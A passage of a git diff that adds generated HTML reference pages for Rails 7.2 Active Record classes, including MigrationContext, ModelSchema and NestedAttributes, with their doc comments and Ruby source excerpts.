diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_0/TableDefinition.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_0/TableDefinition.html new file mode 100644 index 0000000000..fa886e0158 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_0/TableDefinition.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Migration::Compatibility::V7_0::TableDefinition +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_1.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_1.html new file mode 100644 index 0000000000..7b95691107 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_1.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Migration::Compatibility::V7_1 +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/MigrationContext.html b/src/7.2/classes/ActiveRecord/MigrationContext.html new file mode 100644 index 0000000000..80e9250b90 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/MigrationContext.html @@ -0,0 +1,208 @@ +--- +title: ActiveRecord::MigrationContext +layout: default +--- +
+ +
+
+ +
+ +

Migration Context

+ +

MigrationContext sets the context in which a migration is run.

+ +

A migration context requires the path to the migrations is set in the migrations_paths parameter. Optionally a schema_migration class can be provided. Multiple database applications will instantiate a SchemaMigration object per database. From the Rake tasks, Rails will handle this for you.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + internal_metadata
+ [R] + migrations_paths
+ [R] + schema_migration
+ + + + +

Class Public methods

+ +
+

+ + new(migrations_paths, schema_migration = nil, internal_metadata = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1217
+    def initialize(migrations_paths, schema_migration = nil, internal_metadata = nil)
+      @migrations_paths = migrations_paths
+      @schema_migration = schema_migration || SchemaMigration.new(connection_pool)
+      @internal_metadata = internal_metadata || InternalMetadata.new(connection_pool)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + migrate(target_version = nil, &block) + +

+ + +
+

Runs the migrations in the migrations_path.

+ +

If target_version is nil, migrate will run up.

+ +

If the current_version and target_version are both 0 then an empty array will be returned and no migrations will be run.

+ +

If the current_version in the schema is greater than the target_version, then down will be run.

+ +

If none of the conditions are met, up will be run with the target_version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1236
+    def migrate(target_version = nil, &block)
+      case
+      when target_version.nil?
+        up(target_version, &block)
+      when current_version == 0 && target_version == 0
+        []
+      when current_version > target_version
+        down(target_version, &block)
+      else
+        up(target_version, &block)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/MismatchedForeignKey.html b/src/7.2/classes/ActiveRecord/MismatchedForeignKey.html new file mode 100644 index 0000000000..800773c219 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/MismatchedForeignKey.html @@ -0,0 +1,199 @@ +--- +title: ActiveRecord::MismatchedForeignKey +layout: default +--- +
+ +
+
+ +
+ +

Raised when a foreign key constraint cannot be added because the column type does not match the referenced column type.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new( message: nil, sql: nil, binds: nil, table: nil, foreign_key: nil, target_table: nil, primary_key: nil, primary_key_column: nil, query_parser: nil, connection_pool: nil ) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 226
+    def initialize(
+      message: nil,
+      sql: nil,
+      binds: nil,
+      table: nil,
+      foreign_key: nil,
+      target_table: nil,
+      primary_key: nil,
+      primary_key_column: nil,
+      query_parser: nil,
+      connection_pool: nil
+    )
+      @original_message = message
+      @query_parser = query_parser
+
+      if table
+        type = primary_key_column.bigint? ? :bigint : primary_key_column.type
+        msg = <<~EOM.squish
+          Column `#{foreign_key}` on table `#{table}` does not match column `#{primary_key}` on `#{target_table}`,
+          which has type `#{primary_key_column.sql_type}`.
+          To resolve this issue, change the type of the `#{foreign_key}` column on `#{table}` to be :#{type}.
+          (For example `t.#{type} :#{foreign_key}`).
+        EOM
+      else
+        msg = <<~EOM.squish
+          There is a mismatch between the foreign key and primary key column types.
+          Verify that the foreign key column type and the primary key of the associated table match types.
+        EOM
+      end
+      if message
+        msg << "\nOriginal message: #{message}"
+      end
+
+      super(msg, sql: sql, binds: binds, connection_pool: connection_pool)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + set_query(sql, binds) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 262
+    def set_query(sql, binds)
+      if @query_parser && !@sql
+        self.class.new(
+          message: @original_message,
+          sql: sql,
+          binds: binds,
+          connection_pool: @connection_pool,
+          **@query_parser.call(sql)
+        ).tap do |exception|
+          exception.set_backtrace backtrace
+        end
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ModelSchema.html b/src/7.2/classes/ActiveRecord/ModelSchema.html new file mode 100644 index 0000000000..2d07997f38 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ModelSchema.html @@ -0,0 +1,630 @@ +--- +title: ActiveRecord::ModelSchema +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + immutable_strings_by_default=(bool) + + +

+ + +
+

Determines whether columns should infer their type as :string or :immutable_string. This setting does not affect the behavior of attribute :foo, :string. Defaults to false.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + implicit_order_column + + +

+ + +
+

The name of the column records are ordered by if no explicit order clause is used during an ordered finder call. If not set the primary key is used.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + implicit_order_column=(column_name) + + +

+ + +
+

Sets the column to sort records by when no explicit order clause is used during an ordered finder call. Useful when the primary key is not an auto-incrementing integer, for example when it’s a UUID. Records are subsorted by the primary key if it exists to ensure deterministic results.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + inheritance_column + + +

+ + +
+

The name of the table column which stores the class name on single-table inheritance situations.

+ +

The default inheritance column name is type, which means it’s a reserved word inside Active Record. To be able to use single-table inheritance with another column name, or to use the column type in your own model for something else, you can set inheritance_column:

+ +
self.inheritance_column = 'zoink'
+
+ +

If you wish to disable single-table inheritance altogether you can set inheritance_column to nil

+ +
self.inheritance_column = nil
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + inheritance_column=(column) + + +

+ + +
+

Defines the name of the table column which will store the class name on single-table inheritance situations.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 162
+    included do
+      class_attribute :primary_key_prefix_type, instance_writer: false
+      class_attribute :table_name_prefix, instance_writer: false, default: ""
+      class_attribute :table_name_suffix, instance_writer: false, default: ""
+      class_attribute :schema_migrations_table_name, instance_accessor: false, default: "schema_migrations"
+      class_attribute :internal_metadata_table_name, instance_accessor: false, default: "ar_internal_metadata"
+      class_attribute :pluralize_table_names, instance_writer: false, default: true
+      class_attribute :implicit_order_column, instance_accessor: false
+      class_attribute :immutable_strings_by_default, instance_accessor: false
+
+      class_attribute :inheritance_column, instance_accessor: false, default: "type"
+      singleton_class.class_eval do
+        alias_method :_inheritance_column=, :inheritance_column=
+        private :_inheritance_column=
+        alias_method :inheritance_column=, :real_inheritance_column=
+      end
+
+      self.protected_environments = ["production"]
+
+      self.ignored_columns = [].freeze
+
+      delegate :type_for_attribute, :column_for_attribute, to: :class
+
+      initialize_load_schema_monitor
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + internal_metadata_table_name + + +

+ + +
+

The name of the internal metadata table. By default, the value is "ar_internal_metadata".

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + internal_metadata_table_name=(table_name) + + +

+ + +
+

Sets the name of the internal metadata table.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + pluralize_table_names + + +

+ + +
+

Indicates whether table names should be the pluralized versions of the corresponding class names. If true, the default table name for a Product class will be β€œproducts”. If false, it would just be β€œproduct”. See table_name for the full rules on table/class naming. This is true, by default.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + pluralize_table_names=(value) + + +

+ + +
+

Set whether table names should be the pluralized versions of the corresponding class names. If true, the default table name for a Product class will be β€œproducts”. If false, it would just be β€œproduct”. See table_name for the full rules on table/class naming. This is true, by default.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + primary_key_prefix_type + + +

+ + +
+

The prefix type that will be prepended to every primary key column name. The options are :table_name and :table_name_with_underscore. If the first is specified, the Product class will look for β€œproductid” instead of β€œid” as the primary column. If the latter is specified, the Product class will look for β€œproduct_id” instead of β€œid”. Remember that this is a global setting for all Active Records.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + primary_key_prefix_type=(prefix_type) + + +

+ + +
+

Sets the prefix type that will be prepended to every primary key column name. The options are :table_name and :table_name_with_underscore. If the first is specified, the Product class will look for β€œproductid” instead of β€œid” as the primary column. If the latter is specified, the Product class will look for β€œproduct_id” instead of β€œid”. Remember that this is a global setting for all Active Records.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + schema_migrations_table_name + + +

+ + +
+

The name of the schema migrations table. By default, the value is "schema_migrations".

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + schema_migrations_table_name=(table_name) + + +

+ + +
+

Sets the name of the schema migrations table.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + table_name_prefix + + +

+ + +
+

The prefix string to prepend to every table name.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + table_name_prefix=(prefix) + + +

+ + +
+

Sets the prefix string to prepend to every table name. So if set to β€œbasecamp_”, all table names will be named like β€œbasecamp_projects”, β€œbasecamp_people”, etc. This is a convenient way of creating a namespace for tables in a shared database. By default, the prefix is the empty string.

+ +

If you are organising your models within modules you can add a prefix to the models within a namespace by defining a singleton method in the parent module called table_name_prefix which returns your chosen prefix.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + table_name_suffix + + +

+ + +
+

The suffix string to append to every table name.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + table_name_suffix=(suffix) + + +

+ + +
+

Works like table_name_prefix=, but appends instead of prepends (set to β€œ_basecamp” gives β€œprojects_basecamp”, β€œpeople_basecamp”). By default, the suffix is the empty string.

+ +

If you are organising your models within modules, you can add a suffix to the models within a namespace by defining a singleton method in the parent module called table_name_suffix which returns your chosen suffix.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + +

Instance Public methods

+ +
+

+ + id_value + + +

+ + +
+

Returns the underlying column value for a column named β€œid”. Useful when defining a composite primary key including an β€œid” column so that the value is readable.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ModelSchema/ClassMethods.html b/src/7.2/classes/ActiveRecord/ModelSchema/ClassMethods.html new file mode 100644 index 0000000000..a7e681c0ee --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ModelSchema/ClassMethods.html @@ -0,0 +1,1068 @@ +--- +title: ActiveRecord::ModelSchema::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + column_defaults() + +

+ + +
+

Returns a hash where the keys are column names and the values are default values when instantiating the Active Record object for this table.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 473
+      def column_defaults
+        load_schema
+        @column_defaults ||= _default_attributes.deep_dup.to_hash.freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + column_for_attribute(name) + +

+ + +
+

Returns the column object for the named attribute. Returns an ActiveRecord::ConnectionAdapters::NullColumn if the named attribute does not exist.

+ +
class Person < ActiveRecord::Base
+end
+
+person = Person.new
+person.column_for_attribute(:name) # the result depends on the ConnectionAdapter
+# => #<ActiveRecord::ConnectionAdapters::Column:0x007ff4ab083980 @name="name", @sql_type="varchar(255)", @null=true, ...>
+
+person.column_for_attribute(:nothing)
+# => #<ActiveRecord::ConnectionAdapters::NullColumn:0xXXX @name=nil, @sql_type=nil, @cast_type=#<Type::Value>, ...>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 464
+      def column_for_attribute(name)
+        name = name.to_s
+        columns_hash.fetch(name) do
+          ConnectionAdapters::NullColumn.new(name)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + column_names() + +

+ + +
+

Returns an array of column names as strings.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 479
+      def column_names
+        @column_names ||= columns.map(&:name).freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + columns() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 433
+      def columns
+        @columns ||= columns_hash.values.freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_columns() + +

+ + +
+

Returns an array of column objects where the primary id, all columns ending in β€œ_id” or β€œ_count”, and columns used for single table inheritance have been removed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 490
+      def content_columns
+        @content_columns ||= columns.reject do |c|
+          c.name == primary_key ||
+          c.name == inheritance_column ||
+          c.name.end_with?("_id", "_count")
+        end.freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ignored_columns() + +

+ + +
+

The list of columns names the model should ignore. Ignored columns won’t have attribute accessors defined, and won’t be referenced in SQL queries.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 332
+      def ignored_columns
+        @ignored_columns || superclass.ignored_columns
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ignored_columns=(columns) + +

+ + +
+

Sets the columns names the model should ignore. Ignored columns won’t have attribute accessors defined, and won’t be referenced in SQL queries.

+ +

A common usage pattern for this method is to ensure all references to an attribute have been removed and deployed, before a migration to drop the column from the database has been deployed and run. Using this two step approach to dropping columns ensures there is no code that raises errors due to having a cached schema in memory at the time the schema migration is run.

+ +

For example, given a model where you want to drop the β€œcategory” attribute, first mark it as ignored:

+ +
class Project < ActiveRecord::Base
+  # schema:
+  #   id         :bigint
+  #   name       :string, limit: 255
+  #   category   :string, limit: 255
+
+  self.ignored_columns += [:category]
+end
+
+ +

The schema still contains β€œcategory”, but now the model omits it, so any meta-driven code or schema caching will not attempt to use the column:

+ +
Project.columns_hash["category"] => nil
+
+ +

You will get an error if accessing that attribute directly, so ensure all usages of the column are removed (automated tests can help you find any usages).

+ +
user = Project.create!(name: "First Project")
+user.category # => raises NoMethodError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 367
+      def ignored_columns=(columns)
+        reload_schema_from_cache
+        @ignored_columns = columns.map(&:to_s).freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_schema() + +

+ + +
+

Load the model’s schema information either from the schema cache or directly from the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 535
+      def load_schema
+        return if schema_loaded?
+        @load_schema_monitor.synchronize do
+          return if schema_loaded?
+
+          load_schema!
+
+          @schema_loaded = true
+        rescue
+          reload_schema_from_cache # If the schema loading failed half way through, we must reset the state.
+          raise
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + next_sequence_value() + +

+ + +
+

Returns the next value that will be used as the primary key on an insert statement.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 412
+      def next_sequence_value
+        with_connection { |c| c.next_sequence_value(sequence_name) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prefetch_primary_key?() + +

+ + +
+

Determines if the primary key values should be selected from their corresponding sequence before the insert statement.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 406
+      def prefetch_primary_key?
+        with_connection { |c| c.prefetch_primary_key?(table_name) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + protected_environments() + +

+ + +
+

The array of names of environments where destructive actions should be prohibited. By default, the value is ["production"].

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 313
+      def protected_environments
+        if defined?(@protected_environments)
+          @protected_environments
+        else
+          superclass.protected_environments
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + protected_environments=(environments) + +

+ + +
+

Sets an array of names of environments where destructive actions should be prohibited.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 322
+      def protected_environments=(environments)
+        @protected_environments = environments.map(&:to_s)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quoted_table_name() + +

+ + +
+

Returns a quoted version of the table name, used to construct SQL statements.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 286
+      def quoted_table_name
+        @quoted_table_name ||= adapter_class.quote_table_name(table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_column_information() + +

+ + +
+

Resets all the cached information about columns, which will cause them to be reloaded on the next request.

+ +

The most common usage pattern for this method is probably in a migration, when just after creating a table you want to populate it with some default values, e.g.:

+ +
class CreateJobLevels < ActiveRecord::Migration[7.2]
+  def up
+    create_table :job_levels do |t|
+      t.integer :id
+      t.string :name
+
+      t.timestamps
+    end
+
+    JobLevel.reset_column_information
+    %w{assistant executive manager director}.each do |type|
+      JobLevel.create(name: type)
+    end
+  end
+
+  def down
+    drop_table :job_levels
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 524
+      def reset_column_information
+        connection_pool.active_connection&.clear_cache!
+        ([self] + descendants).each(&:undefine_attribute_methods)
+        schema_cache.clear_data_source_cache!(table_name)
+
+        reload_schema_from_cache
+        initialize_find_by_cache
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sequence_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 372
+      def sequence_name
+        if base_class?
+          @sequence_name ||= reset_sequence_name
+        else
+          (@sequence_name ||= nil) || base_class.sequence_name
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sequence_name=(value) + +

+ + +
+

Sets the name of the sequence to use when generating ids to the given value, or (if the value is nil or false) to the value returned by the given block. This is required for Oracle and is useful for any database which relies on sequences for primary key generation.

+ +

If a sequence name is not explicitly set when using Oracle, it will default to the commonly used pattern of: #{table_name}_seq

+ +

If a sequence name is not explicitly set when using PostgreSQL, it will discover the sequence corresponding to your primary key for you.

+ +
class Project < ActiveRecord::Base
+  self.sequence_name = "projectseq"   # default would have been "project_seq"
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 399
+      def sequence_name=(value)
+        @sequence_name          = value.to_s
+        @explicit_sequence_name = true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_exists?() + +

+ + +
+

Indicates whether the table associated with this class exists

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 417
+      def table_exists?
+        schema_cache.data_source_exists?(table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_name() + +

+ + +
+

Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending directly from ActiveRecord::Base. So if the hierarchy looks like: Reply < Message < ActiveRecord::Base, then Message is used to guess the table name even when called on Reply. The rules used to do the guess are handled by the Inflector class in Active Support, which knows almost all common English inflections. You can add new inflections in config/initializers/inflections.rb.

+ +

Nested classes are given table names prefixed by the singular form of the parent’s table name. Enclosing modules are not considered.

+ +

Examples

+ +
class Invoice < ActiveRecord::Base
+end
+
+file                  class               table_name
+invoice.rb            Invoice             invoices
+
+class Invoice < ActiveRecord::Base
+  class Lineitem < ActiveRecord::Base
+  end
+end
+
+file                  class               table_name
+invoice.rb            Invoice::Lineitem   invoice_lineitems
+
+module Invoice
+  class Lineitem < ActiveRecord::Base
+  end
+end
+
+file                  class               table_name
+invoice/lineitem.rb   Invoice::Lineitem   lineitems
+
+ +

Additionally, the class-level table_name_prefix is prepended and the table_name_suffix is appended. So if you have β€œmyapp_” as a prefix, the table name guess for an Invoice class becomes β€œmyapp_invoices”. Invoice::Lineitem becomes β€œmyapp_invoice_lineitems”.

+ +

Active Model Naming’s model_name is the base name used to guess the table name. In case a custom Active Model Name is defined, it will be used for the table name as well:

+ +
class PostRecord < ActiveRecord::Base
+  class << self
+    def model_name
+      ActiveModel::Name.new(self, nil, "Post")
+    end
+  end
+end
+
+PostRecord.table_name
+# => "posts"
+
+ +

You can also set your own table name explicitly:

+ +
class Mouse < ActiveRecord::Base
+  self.table_name = "mice"
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 260
+      def table_name
+        reset_table_name unless defined?(@table_name)
+        @table_name
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_name=(value) + +

+ + +
+

Sets the table name explicitly. Example:

+ +
class Project < ActiveRecord::Base
+  self.table_name = "project"
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 270
+      def table_name=(value)
+        value = value && value.to_s
+
+        if defined?(@table_name)
+          return if value == @table_name
+          reset_column_information if connected?
+        end
+
+        @table_name        = value
+        @quoted_table_name = nil
+        @arel_table        = nil
+        @sequence_name     = nil unless @explicit_sequence_name
+        @predicate_builder = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Protected methods

+ +
+

+ + initialize_load_schema_monitor() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 550
+        def initialize_load_schema_monitor
+          @load_schema_monitor = Monitor.new
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reload_schema_from_cache(recursive = true) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/model_schema.rb, line 554
+        def reload_schema_from_cache(recursive = true)
+          @_returning_columns_for_insert = nil
+          @arel_table = nil
+          @column_names = nil
+          @symbol_column_to_string_name_hash = nil
+          @content_columns = nil
+          @column_defaults = nil
+          @attributes_builder = nil
+          @columns = nil
+          @columns_hash = nil
+          @schema_loaded = false
+          @attribute_names = nil
+          @yaml_encoder = nil
+          if recursive
+            subclasses.each do |descendant|
+              descendant.send(:reload_schema_from_cache)
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/MultiparameterAssignmentErrors.html b/src/7.2/classes/ActiveRecord/MultiparameterAssignmentErrors.html new file mode 100644 index 0000000000..e50879ad7a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/MultiparameterAssignmentErrors.html @@ -0,0 +1,127 @@ +--- +title: ActiveRecord::MultiparameterAssignmentErrors +layout: default +--- +
+ +
+
+ +
+ +

Raised when there are multiple errors while doing a mass assignment through the ActiveRecord::Base#attributes= method. The exception has an errors property that contains an array of AttributeAssignmentError objects, each corresponding to the error while assigning to an attribute.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + errors
+ + + + +

Class Public methods

+ +
+

+ + new(errors = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 453
+    def initialize(errors = nil)
+      @errors = errors
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/NestedAttributes.html b/src/7.2/classes/ActiveRecord/NestedAttributes.html new file mode 100644 index 0000000000..6a8043dcbb --- /dev/null +++ b/src/7.2/classes/ActiveRecord/NestedAttributes.html @@ -0,0 +1,74 @@ +--- +title: ActiveRecord::NestedAttributes +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/NestedAttributes/ClassMethods.html b/src/7.2/classes/ActiveRecord/NestedAttributes/ClassMethods.html new file mode 100644 index 0000000000..94801f83d6 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/NestedAttributes/ClassMethods.html @@ -0,0 +1,418 @@ +--- +title: ActiveRecord::NestedAttributes::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Active Record Nested Attributes

+ +

Nested attributes allow you to save attributes on associated records through the parent. By default nested attribute updating is turned off and you can enable it using the accepts_nested_attributes_for class method. When you enable nested attributes an attribute writer is defined on the model.

+ +

The attribute writer is named after the association, which means that in the following example, two new methods are added to your model:

+ +

author_attributes=(attributes) and pages_attributes=(attributes).

+ +
class Book < ActiveRecord::Base
+  has_one :author
+  has_many :pages
+
+  accepts_nested_attributes_for :author, :pages
+end
+
+ +

Note that the :autosave option is automatically enabled on every association that accepts_nested_attributes_for is used for.

+ +

One-to-one

+ +

Consider a Member model that has one Avatar:

+ +
class Member < ActiveRecord::Base
+  has_one :avatar
+  accepts_nested_attributes_for :avatar
+end
+
+ +

Enabling nested attributes on a one-to-one association allows you to create the member and avatar in one go:

+ +
params = { member: { name: 'Jack', avatar_attributes: { icon: 'smiling' } } }
+member = Member.create(params[:member])
+member.avatar.id # => 2
+member.avatar.icon # => 'smiling'
+
+ +

It also allows you to update the avatar through the member:

+ +
params = { member: { avatar_attributes: { id: '2', icon: 'sad' } } }
+member.update params[:member]
+member.avatar.icon # => 'sad'
+
+ +

If you want to update the current avatar without providing the id, you must add :update_only option.

+ +
class Member < ActiveRecord::Base
+  has_one :avatar
+  accepts_nested_attributes_for :avatar, update_only: true
+end
+
+params = { member: { avatar_attributes: { icon: 'sad' } } }
+member.update params[:member]
+member.avatar.id # => 2
+member.avatar.icon # => 'sad'
+
+ +

By default you will only be able to set and update attributes on the associated model. If you want to destroy the associated model through the attributes hash, you have to enable it first using the :allow_destroy option.

+ +
class Member < ActiveRecord::Base
+  has_one :avatar
+  accepts_nested_attributes_for :avatar, allow_destroy: true
+end
+
+ +

Now, when you add the _destroy key to the attributes hash, with a value that evaluates to true, you will destroy the associated model:

+ +
member.avatar_attributes = { id: '2', _destroy: '1' }
+member.avatar.marked_for_destruction? # => true
+member.save
+member.reload.avatar # => nil
+
+ +

Note that the model will not be destroyed until the parent is saved.

+ +

Also note that the model will not be destroyed unless you also specify its id in the updated hash.

+ +

One-to-many

+ +

Consider a member that has a number of posts:

+ +
class Member < ActiveRecord::Base
+  has_many :posts
+  accepts_nested_attributes_for :posts
+end
+
+ +

You can now set or update attributes on the associated posts through an attribute hash for a member: include the key :posts_attributes with an array of hashes of post attributes as a value.

+ +

For each hash that does not have an id key a new record will be instantiated, unless the hash also contains a _destroy key that evaluates to true.

+ +
params = { member: {
+  name: 'joe', posts_attributes: [
+    { title: 'Kari, the awesome Ruby documentation browser!' },
+    { title: 'The egalitarian assumption of the modern citizen' },
+    { title: '', _destroy: '1' } # this will be ignored
+  ]
+}}
+
+member = Member.create(params[:member])
+member.posts.length # => 2
+member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+
+ +

You may also set a :reject_if proc to silently ignore any new record hashes if they fail to pass your criteria. For example, the previous example could be rewritten as:

+ +
class Member < ActiveRecord::Base
+  has_many :posts
+  accepts_nested_attributes_for :posts, reject_if: proc { |attributes| attributes['title'].blank? }
+end
+
+params = { member: {
+  name: 'joe', posts_attributes: [
+    { title: 'Kari, the awesome Ruby documentation browser!' },
+    { title: 'The egalitarian assumption of the modern citizen' },
+    { title: '' } # this will be ignored because of the :reject_if proc
+  ]
+}}
+
+member = Member.create(params[:member])
+member.posts.length # => 2
+member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
+member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
+
+ +

Alternatively, :reject_if also accepts a symbol for using methods:

+ +
class Member < ActiveRecord::Base
+  has_many :posts
+  accepts_nested_attributes_for :posts, reject_if: :new_record?
+end
+
+class Member < ActiveRecord::Base
+  has_many :posts
+  accepts_nested_attributes_for :posts, reject_if: :reject_posts
+
+  def reject_posts(attributes)
